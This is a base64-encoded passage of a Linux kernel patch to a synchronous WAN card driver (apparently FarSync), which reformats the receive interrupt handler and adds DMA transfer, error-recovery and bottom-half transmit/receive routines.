dHMpOworCQlkYmcoREJHX0FTUywgIkRNQSBCaXRzIG9mIG5leHQgYnVmZmVyIHdhcyAleFxuIiwg ZG1hYml0cyk7CisJfQorCWRiZyhEQkdfQVNTLCAiVGhlcmUgd2VyZSAlZCBzdWJzZXF1ZW50IGJ1 ZmZlcnMgaW4gZXJyb3JcbiIsIGkpOworCisJLyogRGlzY2FyZCB0aGUgdGVybWluYWwgYnVmZmVy ICovCisJaWYgKCEoZG1hYml0cyAmIERNQV9PV04pKSB7CisJCUZTVF9XUkIoY2FyZCwgcnhEZXNj clJpbmdbcGldW3J4cF0uYml0cywgRE1BX09XTik7CisJCXJ4cCA9IChyeHArMSkgJSBOVU1fUlhf QlVGRkVSOworCX0KKwlwb3J0LT5yeHBvcyA9IHJ4cDsKKwlyZXR1cm47CisKK30KIAogLyogICAg ICBSeCBjb21wbGV0ZSBpbnRlcnJ1cHQKICAqLwogc3RhdGljIHZvaWQKLWZzdF9pbnRyX3J4ICgg c3RydWN0IGZzdF9jYXJkX2luZm8gKmNhcmQsIHN0cnVjdCBmc3RfcG9ydF9pbmZvICpwb3J0ICkK K2ZzdF9pbnRyX3J4KHN0cnVjdCBmc3RfY2FyZF9pbmZvICpjYXJkLCBzdHJ1Y3QgZnN0X3BvcnRf aW5mbyAqcG9ydCkKIHsKLSAgICAgICAgdW5zaWduZWQgY2hhciBkbWFiaXRzOwotICAgICAgICBp bnQgcGk7Ci0gICAgICAgIGludCByeHA7Ci0gICAgICAgIHVuc2lnbmVkIHNob3J0IGxlbjsKLSAg ICAgICAgc3RydWN0IHNrX2J1ZmYgKnNrYjsKKwl1bnNpZ25lZCBjaGFyIGRtYWJpdHM7CisJaW50 IHBpOworCWludCByeHA7CisJaW50IHJ4X3N0YXR1czsKKwl1bnNpZ25lZCBzaG9ydCBsZW47CisJ c3RydWN0IHNrX2J1ZmYgKnNrYjsKIAlzdHJ1Y3QgbmV0X2RldmljZSAqZGV2ID0gcG9ydF90b19k ZXYocG9ydCk7CiAJc3RydWN0IG5ldF9kZXZpY2Vfc3RhdHMgKnN0YXRzID0gaGRsY19zdGF0cyhk ZXYpOwotICAgICAgICBpbnQgaTsKIAorCS8qIENoZWNrIHdlIGhhdmUgYSBidWZmZXIgdG8gcHJv Y2VzcyAqLworCXBpID0gcG9ydC0+aW5kZXg7CisJcnhwID0gcG9ydC0+cnhwb3M7CisJZG1hYml0 cyA9IEZTVF9SREIoY2FyZCwgcnhEZXNjclJpbmdbcGldW3J4cF0uYml0cyk7CisJaWYgKGRtYWJp dHMgJiBETUFfT1dOKSB7CisJCWRiZyhEQkdfUlggfCBEQkdfSU5UUiwgImludHJfcng6IE5vIGJ1 ZmZlciBwb3J0ICVkIHBvcyAlZFxuIiwKKwkJICAgIHBpLCByeHApOworCQlyZXR1cm47CisJfQor CWlmIChjYXJkLT5kbWFyeF9pbl9wcm9ncmVzcykgeworCQlyZXR1cm47CisJfQogCi0gICAgICAg IC8qIENoZWNrIHdlIGhhdmUgYSBidWZmZXIgdG8gcHJvY2VzcyAqLwotICAgICAgICBwaSAgPSBw b3J0LT5pbmRleDsKLSAgICAgICAgcnhwID0gcG9ydC0+cnhwb3M7Ci0gICAgICAgIGRtYWJpdHMg PSBGU1RfUkRCICggY2FyZCwgcnhEZXNjclJpbmdbcGldW3J4cF0uYml0cyApOwotICAgICAgICBp ZiAoIGRtYWJpdHMgJiBETUFfT1dOICkKLSAgICAgICAgewotICAgICAgICAgICAgICAgIGRiZyAo IERCR19SWCB8IERCR19JTlRSLCJpbnRyX3J4OiBObyBidWZmZXIgcG9ydCAlZCBwb3MgJWRcbiIs Ci0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcGksIHJ4cCApOwotICAg ICAgICAgICAgICAgIHJldHVybjsKLSAgICAgICAgfQotCi0gICAgICAgIC8qIEdldCBidWZmZXIg bGVuZ3RoICovCi0gICAgICAgIGxlbiA9IEZTVF9SRFcgKCBjYXJkLCByeERlc2NyUmluZ1twaV1b cnhwXS5tY250ICk7Ci0gICAgICAgIC8qIERpc2NhcmQgdGhlIENSQyAqLwotICAgICAgICBsZW4g LT0gMjsKLQotICAgICAgICAvKiBDaGVjayBidWZmZXIgbGVuZ3RoIGFuZCBmb3Igb3RoZXIgZXJy b3JzLiBXZSBpbnNpc3Qgb24gb25lIHBhY2tldAotICAgICAgICAgKiBpbiBvbmUgYnVmZmVyLiBU aGlzIHNpbXBsaWZpZXMgdGhpbmdzIGdyZWF0bHkgYW5kIHNpbmNlIHdlJ3ZlCi0gICAgICAgICAq IGFsbG9jYXRlZCA4SyBpdCBzaG91bGRuJ3QgYmUgYSByZWFsIHdvcmxkIGxpbWl0YXRpb24KLSAg ICAgICAgICovCi0gICAgICAgIGRiZyAoIERCR19SWCwiaW50cl9yeDogJWQsJWQ6IGZsYWdzICV4 IGxlbiAlZFxuIiwgcGksIHJ4cCwgZG1hYml0cywKLSAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICBsZW4gKTsKLSAgICAgICAgaWYgKCBkbWFiaXRzICE9ICggUlhfU1RQIHwg UlhfRU5QICkgfHwgbGVuID4gTEVOX1JYX0JVRkZFUiAtIDIgKQotICAgICAgICB7Ci0gICAgICAg ICAgICAgICAgc3RhdHMtPnJ4X2Vycm9ycysrOwotCi0gICAgICAgICAgICAgICAgLyogVXBkYXRl IGVycm9yIHN0YXRzIGFuZCBkaXNjYXJkIGJ1ZmZlciAqLwotICAgICAgICAgICAgICAgIGlmICgg ZG1hYml0cyAmIFJYX09GTE8gKQotICAgICAgICAgICAgICAgIHsKLSAgICAgICAgICAgICAgICAg ICAgICAgIHN0YXRzLT5yeF9maWZvX2Vycm9ycysrOwotICAgICAgICAgICAgICAgIH0KLSAgICAg ICAgICAgICAgICBpZiAoIGRtYWJpdHMgJiBSWF9DUkMgKQotICAgICAgICAgICAgICAgIHsKLSAg ICAgICAgICAgICAgICAgICAgICAgIHN0YXRzLT5yeF9jcmNfZXJyb3JzKys7Ci0gICAgICAgICAg ICAgICAgfQotICAgICAgICAgICAgICAgIGlmICggZG1hYml0cyAmIFJYX0ZSQU0gKQotICAgICAg ICAgICAgICAgIHsKLSAgICAgICAgICAgICAgICAgICAgICAgIHN0YXRzLT5yeF9mcmFtZV9lcnJv cnMrKzsKLSAgICAgICAgICAgICAgICB9Ci0gICAgICAgICAgICAgICAgaWYgKCBkbWFiaXRzID09 ICggUlhfU1RQIHwgUlhfRU5QICkpCi0gICAgICAgICAgICAgICAgewotICAgICAgICAgICAgICAg ICAgICAgICAgc3RhdHMtPnJ4X2xlbmd0aF9lcnJvcnMrKzsKLSAgICAgICAgICAgICAgICB9CisJ LyogR2V0IGJ1ZmZlciBsZW5ndGggKi8KKwlsZW4gPSBGU1RfUkRXKGNhcmQsIHJ4RGVzY3JSaW5n W3BpXVtyeHBdLm1jbnQpOworCS8qIERpc2NhcmQgdGhlIENSQyAqLworCWxlbiAtPSAyOworCWlm IChsZW4gPT0gMCkgeworCQkvKgorCQkgKiBUaGlzIHNlZW1zIHRvIGhhcHBlbiBvbiB0aGUgVEUx IGludGVyZmFjZSBzb21ldGltZXMKKwkJICogc28gdGhyb3cgdGhlIGZyYW1lIGF3YXkgYW5kIGxv ZyB0aGUgZXZlbnQuCisJCSAqLworCQlwcmludGtfZXJyKCJGcmFtZSByZWNlaXZlZCB3aXRoIDAg bGVuZ3RoLiBDYXJkICVkIFBvcnQgJWRcbiIsCisJCQkgICBjYXJkLT5jYXJkX25vLCBwb3J0LT5p bmRleCk7CisJCS8qIFJldHVybiBkZXNjcmlwdG9yIHRvIGNhcmQgKi8KKwkJRlNUX1dSQihjYXJk LCByeERlc2NyUmluZ1twaV1bcnhwXS5iaXRzLCBETUFfT1dOKTsKKworCQlyeHAgPSAocnhwKzEp ICUgTlVNX1JYX0JVRkZFUjsKKwkJcG9ydC0+cnhwb3MgPSByeHA7CisJCXJldHVybjsKKwl9CiAK LSAgICAgICAgICAgICAgICAvKiBEaXNjYXJkIGJ1ZmZlciBkZXNjcmlwdG9ycyB1bnRpbCB3ZSBz ZWUgdGhlIGVuZCBvZiBwYWNrZXQKLSAgICAgICAgICAgICAgICAgKiBtYXJrZXIKLSAgICAgICAg ICAgICAgICAgKi8KLSAgICAgICAgICAgICAgICBpID0gMDsKLSAgICAgICAgICAgICAgICB3aGls ZSAoKCBkbWFiaXRzICYgKCBETUFfT1dOIHwgUlhfRU5QICkpID09IDAgKQotICAgICAgICAgICAg ICAgIHsKLSAgICAgICAgICAgICAgICAgICAgICAgIEZTVF9XUkIgKCBjYXJkLCByeERlc2NyUmlu Z1twaV1bcnhwXS5iaXRzLCBETUFfT1dOICk7Ci0gICAgICAgICAgICAgICAgICAgICAgICBpZiAo ICsrcnhwID49IE5VTV9SWF9CVUZGRVIgKQotICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICByeHAgPSAwOwotICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCArK2kgPiBOVU1fUlhfQlVG RkVSICkKLSAgICAgICAgICAgICAgICAgICAgICAgIHsKLSAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgZGJnICggREJHX0FTUywiaW50cl9yeDogRGlzY2FyZGluZyBtb3JlIGJ1ZnMiCi0g ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiIHRoYW4gd2Ug aGF2ZVxuIik7Ci0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOwotICAgICAg ICAgICAgICAgICAgICAgICAgfQotICAgICAgICAgICAgICAgICAgICAgICAgZG1hYml0cyA9IEZT VF9SREIgKCBjYXJkLCByeERlc2NyUmluZ1twaV1bcnhwXS5iaXRzICk7Ci0gICAgICAgICAgICAg ICAgfQorCS8qIENoZWNrIGJ1ZmZlciBsZW5ndGggYW5kIGZvciBvdGhlciBlcnJvcnMuIFdlIGlu c2lzdCBvbiBvbmUgcGFja2V0CisJICogaW4gb25lIGJ1ZmZlci4gVGhpcyBzaW1wbGlmaWVzIHRo aW5ncyBncmVhdGx5IGFuZCBzaW5jZSB3ZSd2ZQorCSAqIGFsbG9jYXRlZCA4SyBpdCBzaG91bGRu J3QgYmUgYSByZWFsIHdvcmxkIGxpbWl0YXRpb24KKwkgKi8KKwlkYmcoREJHX1JYLCAiaW50cl9y eDogJWQsJWQ6IGZsYWdzICV4IGxlbiAlZFxuIiwgcGksIHJ4cCwgZG1hYml0cywgbGVuKTsKKwlp ZiAoZG1hYml0cyAhPSAoUlhfU1RQIHwgUlhfRU5QKSB8fCBsZW4gPiBMRU5fUlhfQlVGRkVSIC0g MikgeworCQlmc3RfbG9nX3J4X2Vycm9yKGNhcmQsIHBvcnQsIGRtYWJpdHMsIHJ4cCwgbGVuKTsK KwkJZnN0X3JlY292ZXJfcnhfZXJyb3IoY2FyZCwgcG9ydCwgZG1hYml0cywgcnhwLCBsZW4pOwor CQlyZXR1cm47CisJfQogCi0gICAgICAgICAgICAgICAgLyogRGlzY2FyZCB0aGUgdGVybWluYWwg YnVmZmVyICovCi0gICAgICAgICAgICAgICAgaWYgKCAhICggZG1hYml0cyAmIERNQV9PV04gKSkK LSAgICAgICAgICAgICAgICB7Ci0gICAgICAgICAgICAgICAgICAgICAgICBGU1RfV1JCICggY2Fy ZCwgcnhEZXNjclJpbmdbcGldW3J4cF0uYml0cywgRE1BX09XTiApOwotICAgICAgICAgICAgICAg ICAgICAgICAgaWYgKCArK3J4cCA+PSBOVU1fUlhfQlVGRkVSICkKLSAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgcnhwID0gMDsKLSAgICAgICAgICAgICAgICB9Ci0gICAgICAgICAgICAg ICAgcG9ydC0+cnhwb3MgPSByeHA7Ci0gICAgICAgICAgICAgICAgcmV0dXJuOwotICAgICAgICB9 Ci0KLSAgICAgICAgLyogQWxsb2NhdGUgU0tCICovCi0gICAgICAgIGlmICgoIHNrYiA9IGRldl9h bGxvY19za2IgKCBsZW4gKSkgPT0gTlVMTCApCi0gICAgICAgIHsKLSAgICAgICAgICAgICAgICBk YmcgKCBEQkdfUlgsImludHJfcng6IGNhbid0IGFsbG9jYXRlIGJ1ZmZlclxuIik7Ci0KLSAgICAg ICAgICAgICAgICBzdGF0cy0+cnhfZHJvcHBlZCsrOwotCi0gICAgICAgICAgICAgICAgLyogUmV0 dXJuIGRlc2NyaXB0b3IgdG8gY2FyZCAqLwotICAgICAgICAgICAgICAgIEZTVF9XUkIgKCBjYXJk LCByeERlc2NyUmluZ1twaV1bcnhwXS5iaXRzLCBETUFfT1dOICk7Ci0KLSAgICAgICAgICAgICAg ICBpZiAoICsrcnhwID49IE5VTV9SWF9CVUZGRVIgKQotICAgICAgICAgICAgICAgICAgICAgICAg cG9ydC0+cnhwb3MgPSAwOwotICAgICAgICAgICAgICAgIGVsc2UKLSAgICAgICAgICAgICAgICAg ICAgICAgIHBvcnQtPnJ4cG9zID0gcnhwOwotICAgICAgICAgICAgICAgIHJldHVybjsKLSAgICAg ICAgfQotCi0gICAgICAgIG1lbWNweV9mcm9taW8gKCBza2JfcHV0ICggc2tiLCBsZW4gKSwKLSAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY2FyZC0+bWVtICsgQlVGX09GRlNFVCAoIHJ4 QnVmZmVyW3BpXVtyeHBdWzBdKSwKLSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbGVu ICk7Ci0KLSAgICAgICAgLyogUmVzZXQgYnVmZmVyIGRlc2NyaXB0b3IgKi8KLSAgICAgICAgRlNU X1dSQiAoIGNhcmQsIHJ4RGVzY3JSaW5nW3BpXVtyeHBdLmJpdHMsIERNQV9PV04gKTsKLSAgICAg ICAgaWYgKCArK3J4cCA+PSBOVU1fUlhfQlVGRkVSICkKLSAgICAgICAgICAgICAgICBwb3J0LT5y eHBvcyA9IDA7Ci0gICAgICAgIGVsc2UKLSAgICAgICAgICAgICAgICBwb3J0LT5yeHBvcyA9IHJ4 cDsKLQotICAgICAgICAvKiBVcGRhdGUgc3RhdHMgKi8KLSAgICAgICAgc3RhdHMtPnJ4X3BhY2tl dHMrKzsKLSAgICAgICAgc3RhdHMtPnJ4X2J5dGVzICs9IGxlbjsKLQotICAgICAgICAvKiBQdXNo IHVwc3RyZWFtICovCi0gICAgICAgIHNrYi0+bWFjLnJhdyA9IHNrYi0+ZGF0YTsKLSAgICAgICAg c2tiLT5kZXYgPSBkZXY7Ci0gICAgICAgIHNrYi0+cHJvdG9jb2wgPSBoZGxjX3R5cGVfdHJhbnMo c2tiLCBza2ItPmRldik7Ci0gICAgICAgIG5ldGlmX3J4ICggc2tiICk7CisJLyogQWxsb2NhdGUg U0tCICovCisJaWYgKChza2IgPSBkZXZfYWxsb2Nfc2tiKGxlbikpID09IE5VTEwpIHsKKwkJZGJn KERCR19SWCwgImludHJfcng6IGNhbid0IGFsbG9jYXRlIGJ1ZmZlclxuIik7CisKKwkJc3RhdHMt PnJ4X2Ryb3BwZWQrKzsKKworCQkvKiBSZXR1cm4gZGVzY3JpcHRvciB0byBjYXJkICovCisJCUZT VF9XUkIoY2FyZCwgcnhEZXNjclJpbmdbcGldW3J4cF0uYml0cywgRE1BX09XTik7CisKKwkJcnhw ID0gKHJ4cCsxKSAlIE5VTV9SWF9CVUZGRVI7CisJCXBvcnQtPnJ4cG9zID0gcnhwOworCQlyZXR1 cm47CisJfQogCi0gICAgICAgIGRldi0+bGFzdF9yeCA9IGppZmZpZXM7CisJLyoKKwkgKiBXZSBr bm93IHRoZSBsZW5ndGggd2UgbmVlZCB0byByZWNlaXZlLCBsZW4uCisJICogSXQncyBub3Qgd29y dGggdXNpbmcgdGhlIERNQSBmb3IgcmVhZHMgb2YgbGVzcyB0aGFuCisJICogRlNUX01JTl9ETUFf TEVOCisJICovCisKKwlpZiAoKGxlbiA8IEZTVF9NSU5fRE1BX0xFTikgfHwgKGNhcmQtPmZhbWls eSA9PSBGU1RfRkFNSUxZX1RYUCkpIHsKKwkJbWVtY3B5X2Zyb21pbyhza2JfcHV0KHNrYiwgbGVu KSwKKwkJCSAgICAgIGNhcmQtPm1lbSArIEJVRl9PRkZTRVQocnhCdWZmZXJbcGldW3J4cF1bMF0p LAorCQkJICAgICAgbGVuKTsKKworCQkvKiBSZXNldCBidWZmZXIgZGVzY3JpcHRvciAqLworCQlG U1RfV1JCKGNhcmQsIHJ4RGVzY3JSaW5nW3BpXVtyeHBdLmJpdHMsIERNQV9PV04pOworCisJCS8q IFVwZGF0ZSBzdGF0cyAqLworCQlzdGF0cy0+cnhfcGFja2V0cysrOworCQlzdGF0cy0+cnhfYnl0 ZXMgKz0gbGVuOworCisJCS8qIFB1c2ggdXBzdHJlYW0gKi8KKwkJZGJnKERCR19SWCwgIlB1c2hp bmcgZnJhbWUgdXAgdGhlIHN0YWNrXG4iKTsKKwkJc2tiLT5tYWMucmF3ID0gc2tiLT5kYXRhOwor CQlza2ItPmRldiA9IGRldjsKKwkJaWYgKHBvcnQtPm1vZGUgPT0gRlNUX1JBVykgeworCQkJLyoK KwkJCSAqIE1hcmsgaXQgZm9yIG91ciBvd24gcmF3IHNvY2tldHMgaW50ZXJmYWNlCisJCQkgKi8K KwkJCXNrYi0+cHJvdG9jb2wgPSBodG9ucyhFVEhfUF9DVVNUKTsKKwkJCXNrYi0+cGt0X3R5cGUg PSBQQUNLRVRfSE9TVDsKKwkJfSBlbHNlIHsKKwkJCXNrYi0+cHJvdG9jb2wgPSBoZGxjX3R5cGVf dHJhbnMoc2tiLCBza2ItPmRldik7CisJCX0KKwkJcnhfc3RhdHVzID0gbmV0aWZfcngoc2tiKTsK KwkJZnN0X3Byb2Nlc3Nfcnhfc3RhdHVzKHJ4X3N0YXR1cywgcG9ydF90b19kZXYocG9ydCktPm5h bWUpOworCQlpZiAocnhfc3RhdHVzID09IE5FVF9SWF9EUk9QKSB7CisJCQlzdGF0cy0+cnhfZHJv cHBlZCsrOworCQl9CisJCWRldi0+bGFzdF9yeCA9IGppZmZpZXM7CisJfSBlbHNlIHsKKwkJY2Fy ZC0+ZG1hX3NrYl9yeCA9IHNrYjsKKwkJY2FyZC0+ZG1hX3BvcnRfcnggPSBwb3J0OworCQljYXJk LT5kbWFfbGVuX3J4ID0gbGVuOworCQljYXJkLT5kbWFfcnhwb3MgPSByeHA7CisJCWZzdF9yeF9k bWEoY2FyZCwgKGNoYXIgKikgY2FyZC0+cnhfZG1hX2hhbmRsZV9jYXJkLAorCQkJICAgKGNoYXIg KikgQlVGX09GRlNFVChyeEJ1ZmZlcltwaV1bcnhwXVswXSksIGxlbik7CisJfQorCWlmIChyeHAg IT0gcG9ydC0+cnhwb3MpIHsKKwkJZGJnKERCR19BU1MsICJBYm91dCB0byBpbmNyZW1lbnQgcnhw b3MgYnkgbW9yZSB0aGFuIDFcbiIpOworCQlkYmcoREJHX0FTUywgInJ4cCA9ICVkIHJ4cG9zID0g JWRcbiIsIHJ4cCwgcG9ydC0+cnhwb3MpOworCX0KKwlyeHAgPSAocnhwKzEpICUgTlVNX1JYX0JV RkZFUjsKKwlwb3J0LT5yeHBvcyA9IHJ4cDsKIH0KIAorLyoKKyAqICAgICAgVGhlIGJvdHRvbSBo YWxmcyB0byB0aGUgSVNSCisgKgorICovCisKK3N0YXRpYyB2b2lkCitkb19ib3R0b21faGFsZl90 eChzdHJ1Y3QgZnN0X2NhcmRfaW5mbyAqY2FyZCkKK3sKKwlzdHJ1Y3QgZnN0X3BvcnRfaW5mbyAq cG9ydDsKKwlpbnQgcGk7CisJaW50IHR4cV9sZW5ndGg7CisJc3RydWN0IHNrX2J1ZmYgKnNrYjsK Kwl1bnNpZ25lZCBsb25nIGZsYWdzOworCXN0cnVjdCBuZXRfZGV2aWNlICpkZXY7CisJc3RydWN0 IG5ldF9kZXZpY2Vfc3RhdHMgKnN0YXRzOworCisJLyoKKwkgKiAgRmluZCBhIGZyZWUgYnVmZmVy IGZvciB0aGUgdHJhbnNtaXQKKwkgKiAgU3RlcCB0aHJvdWdoIGVhY2ggcG9ydCBvbiB0aGlzIGNh cmQKKwkgKi8KKworCWRiZyhEQkdfVFgsICJkb19ib3R0b21faGFsZl90eFxuIik7CisJZm9yIChw aSA9IDAsIHBvcnQgPSBjYXJkLT5wb3J0czsgcGkgPCBjYXJkLT5ucG9ydHM7IHBpKyssIHBvcnQr KykgeworCQlpZiAoIXBvcnQtPnJ1bikKKwkJCWNvbnRpbnVlOworCisgICAgICAgICAgICAgICAg ZGV2ID0gcG9ydF90b19kZXYocG9ydCk7CisgICAgICAgICAgICAgICAgc3RhdHMgPSBoZGxjX3N0 YXRzKGRldik7CisJCXdoaWxlICghCisJCSAgICAgICAoRlNUX1JEQihjYXJkLCB0eERlc2NyUmlu Z1twaV1bcG9ydC0+dHhwb3NdLmJpdHMpICYKKwkJCURNQV9PV04pCisgICAgICAgICAgICAgICAg ICAgICAgICYmICEoY2FyZC0+ZG1hdHhfaW5fcHJvZ3Jlc3MpKSB7CisJCQkvKgorCQkJICogVGhl cmUgZG9lc24ndCBzZWVtIHRvIGJlIGEgdHhkb25lIGV2ZW50IHBlci1zZQorCQkJICogV2Ugc2Vl bSB0byBoYXZlIHRvIGRlZHVjZSBpdCwgYnkgY2hlY2tpbmcgdGhlIERNQV9PV04KKwkJCSAqIGJp dCBvbiB0aGUgbmV4dCBidWZmZXIgd2UgdGhpbmsgd2UgY2FuIHVzZQorCQkJICovCisJCQlzcGlu X2xvY2tfaXJxc2F2ZSgmY2FyZC0+Y2FyZF9sb2NrLCBmbGFncyk7CisJCQlpZiAoKHR4cV9sZW5n dGggPSBwb3J0LT50eHFlIC0gcG9ydC0+dHhxcykgPCAwKSB7CisJCQkJLyoKKwkJCQkgKiBUaGlz IGlzIHRoZSBjYXNlIHdoZXJlIG9uZSBoYXMgd3JhcHBlZCBhbmQgdGhlCisJCQkJICogbWF0aHMg Z2l2ZXMgdXMgYSBuZWdhdGl2ZSBudW1iZXIKKwkJCQkgKi8KKwkJCQl0eHFfbGVuZ3RoID0gdHhx X2xlbmd0aCArIEZTVF9UWFFfREVQVEg7CisJCQl9CisJCQlzcGluX3VubG9ja19pcnFyZXN0b3Jl KCZjYXJkLT5jYXJkX2xvY2ssIGZsYWdzKTsKKwkJCWlmICh0eHFfbGVuZ3RoID4gMCkgeworCQkJ CS8qCisJCQkJICogVGhlcmUgaXMgc29tZXRoaW5nIHRvIHNlbmQKKwkJCQkgKi8KKwkJCQlzcGlu X2xvY2tfaXJxc2F2ZSgmY2FyZC0+Y2FyZF9sb2NrLCBmbGFncyk7CisJCQkJc2tiID0gcG9ydC0+ dHhxW3BvcnQtPnR4cXNdOworCQkJCXBvcnQtPnR4cXMrKzsKKwkJCQlpZiAocG9ydC0+dHhxcyA9 PSBGU1RfVFhRX0RFUFRIKSB7CisJCQkJCXBvcnQtPnR4cXMgPSAwOworCQkJCX0KKwkJCQlzcGlu X3VubG9ja19pcnFyZXN0b3JlKCZjYXJkLT5jYXJkX2xvY2ssIGZsYWdzKTsKKwkJCQkvKgorCQkJ CSAqIGNvcHkgdGhlIGRhdGEgYW5kIHNldCB0aGUgcmVxdWlyZWQgaW5kaWNhdG9ycyBvbiB0aGUK KwkJCQkgKiBjYXJkLgorCQkJCSAqLworCQkJCUZTVF9XUlcoY2FyZCwgdHhEZXNjclJpbmdbcGld W3BvcnQtPnR4cG9zXS5iY250LAorCQkJCQljbnZfYmNudChza2ItPmxlbikpOworCQkJCWlmICgo c2tiLT5sZW4gPCBGU1RfTUlOX0RNQV9MRU4pCisJCQkJICAgIHx8IChjYXJkLT5mYW1pbHkgPT0g RlNUX0ZBTUlMWV9UWFApKSB7CisJCQkJCS8qIEVucXVldWUgdGhlIHBhY2tldCB3aXRoIG5vcm1h bCBpbyAqLworCQkJCQltZW1jcHlfdG9pbyhjYXJkLT5tZW0gKworCQkJCQkJICAgIEJVRl9PRkZT RVQodHhCdWZmZXJbcGldCisJCQkJCQkJICAgICAgIFtwb3J0LT4KKwkJCQkJCQkJdHhwb3NdWzBd KSwKKwkJCQkJCSAgICBza2ItPmRhdGEsIHNrYi0+bGVuKTsKKwkJCQkJRlNUX1dSQihjYXJkLAor CQkJCQkJdHhEZXNjclJpbmdbcGldW3BvcnQtPnR4cG9zXS4KKwkJCQkJCWJpdHMsCisJCQkJCQlE TUFfT1dOIHwgVFhfU1RQIHwgVFhfRU5QKTsKKwkJCQkJc3RhdHMtPnR4X3BhY2tldHMrKzsKKwkJ CQkJc3RhdHMtPnR4X2J5dGVzICs9IHNrYi0+bGVuOworCQkJCQlkZXYtPnRyYW5zX3N0YXJ0ID0g amlmZmllczsKKwkJCQl9IGVsc2UgeworCQkJCQkvKiBPciBkbyBpdCB0aHJvdWdoIGRtYSAqLwor CQkJCQltZW1jcHkoY2FyZC0+dHhfZG1hX2hhbmRsZV9ob3N0LAorCQkJCQkgICAgICAgc2tiLT5k YXRhLCBza2ItPmxlbik7CisJCQkJCWNhcmQtPmRtYV9wb3J0X3R4ID0gcG9ydDsKKwkJCQkJY2Fy ZC0+ZG1hX2xlbl90eCA9IHNrYi0+bGVuOworCQkJCQljYXJkLT5kbWFfdHhwb3MgPSBwb3J0LT50 eHBvczsKKwkJCQkJZnN0X3R4X2RtYShjYXJkLAorCQkJCQkJICAgKGNoYXIgKikgY2FyZC0+CisJ CQkJCQkgICB0eF9kbWFfaGFuZGxlX2NhcmQsCisJCQkJCQkgICAoY2hhciAqKQorCQkJCQkJICAg QlVGX09GRlNFVCh0eEJ1ZmZlcltwaV0KKwkJCQkJCQkgICAgICBbcG9ydC0+dHhwb3NdWzBdKSwK KwkJCQkJCSAgIHNrYi0+bGVuKTsKKwkJCQl9CisJCQkJaWYgKCsrcG9ydC0+dHhwb3MgPj0gTlVN X1RYX0JVRkZFUikKKwkJCQkJcG9ydC0+dHhwb3MgPSAwOworCQkJCS8qCisJCQkJICogSWYgd2Ug aGF2ZSBmbG93IGNvbnRyb2wgb24sIGNhbiB3ZSBub3cgcmVsZWFzZSBpdD8KKwkJCQkgKi8KKwkJ CQlpZiAocG9ydC0+c3RhcnQpIHsKKwkJCQkJaWYgKHR4cV9sZW5ndGggPCBmc3RfdHhxX2xvdykg eworCQkJCQkJbmV0aWZfd2FrZV9xdWV1ZShwb3J0X3RvX2RldgorCQkJCQkJCQkgKHBvcnQpKTsK KwkJCQkJCXBvcnQtPnN0YXJ0ID0gMDsKKwkJCQkJfQorCQkJCX0KKwkJCQlkZXZfa2ZyZWVfc2ti KHNrYik7CisJCQl9IGVsc2UgeworCQkJCS8qCisJCQkJICogTm90aGluZyB0byBzZW5kIHNvIGJy ZWFrIG91dCBvZiB0aGUgd2hpbGUgbG9vcAorCQkJCSAqLworCQkJCWJyZWFrOworCQkJfQorCQl9 CisJfQorfQorCitzdGF0aWMgdm9pZAorZG9fYm90dG9tX2hhbGZfcngoc3RydWN0IGZzdF9jYXJk X2luZm8gKmNhcmQpCit7CisJc3RydWN0IGZzdF9wb3J0X2luZm8gKnBvcnQ7CisJaW50IHBpOwor CWludCByeF9jb3VudCA9IDA7CisKKwkvKiBDaGVjayBmb3IgcnggY29tcGxldGlvbnMgb24gYWxs IHBvcnRzIG9uIHRoaXMgY2FyZCAqLworCWRiZyhEQkdfUlgsICJkb19ib3R0b21faGFsZl9yeFxu Iik7CisJZm9yIChwaSA9IDAsIHBvcnQgPSBjYXJkLT5wb3J0czsgcGkgPCBjYXJkLT5ucG9ydHM7 IHBpKyssIHBvcnQrKykgeworCQlpZiAoIXBvcnQtPnJ1bikKKwkJCWNvbnRpbnVlOworCisJCXdo aWxlICghKEZTVF9SREIoY2FyZCwgcnhEZXNjclJpbmdbcGldW3BvcnQtPnJ4cG9zXS5iaXRzKQor CQkJICYgRE1BX09XTikgJiYgIShjYXJkLT5kbWFyeF9pbl9wcm9ncmVzcykpIHsKKwkJCWlmIChy eF9jb3VudCA+IGZzdF9tYXhfcmVhZHMpIHsKKwkJCQkvKgorCQkJCSAqIERvbid0IHNwZW5kIGZv cmV2ZXIgaW4gcmVjZWl2ZSBwcm9jZXNzaW5nCisJCQkJICogU2NoZWR1bGUgYW5vdGhlciBldmVu dAorCQkJCSAqLworCQkJCWZzdF9xX3dvcmtfaXRlbSgmZnN0X3dvcmtfaW50cSwgY2FyZC0+Y2Fy ZF9ubyk7CisJCQkJdGFza2xldF9zY2hlZHVsZSgmZnN0X2ludF90YXNrKTsKKwkJCQlicmVhazsJ LyogTGVhdmUgdGhlIGxvb3AgKi8KKwkJCX0KKwkJCWZzdF9pbnRyX3J4KGNhcmQsIHBvcnQpOwor CQkJcnhfY291bnQrKzsKKwkJfQorCX0KK30KIAogLyoKICAqICAgICAgVGhlIGludGVycnVwdCBz ZXJ2aWNlIHJvdXRpbmUKICAqICAgICAgRGV2X2lkIGlzIG91ciBmc3RfY2FyZF9pbmZvIHBvaW50 ZXIKICAqLwotc3RhdGljIGlycXJldHVybl90Ci1mc3RfaW50ciAoIGludCBpcnEsIHZvaWQgKmRl dl9pZCwgc3RydWN0IHB0X3JlZ3MgKnJlZ3MgKQoraXJxcmV0dXJuX3QKK2ZzdF9pbnRyKGludCBp cnEsIHZvaWQgKmRldl9pZCwgc3RydWN0IHB0X3JlZ3MgKnJlZ3MpCiB7Ci0gICAgICAgIHN0cnVj dCBmc3RfY2FyZF9pbmZvICpjYXJkOwotICAgICAgICBzdHJ1Y3QgZnN0X3BvcnRfaW5mbyAqcG9y dDsKLSAgICAgICAgaW50IHJkaWR4OyAgICAgICAgICAgICAgICAgICAgICAvKiBFdmVudCBidWZm 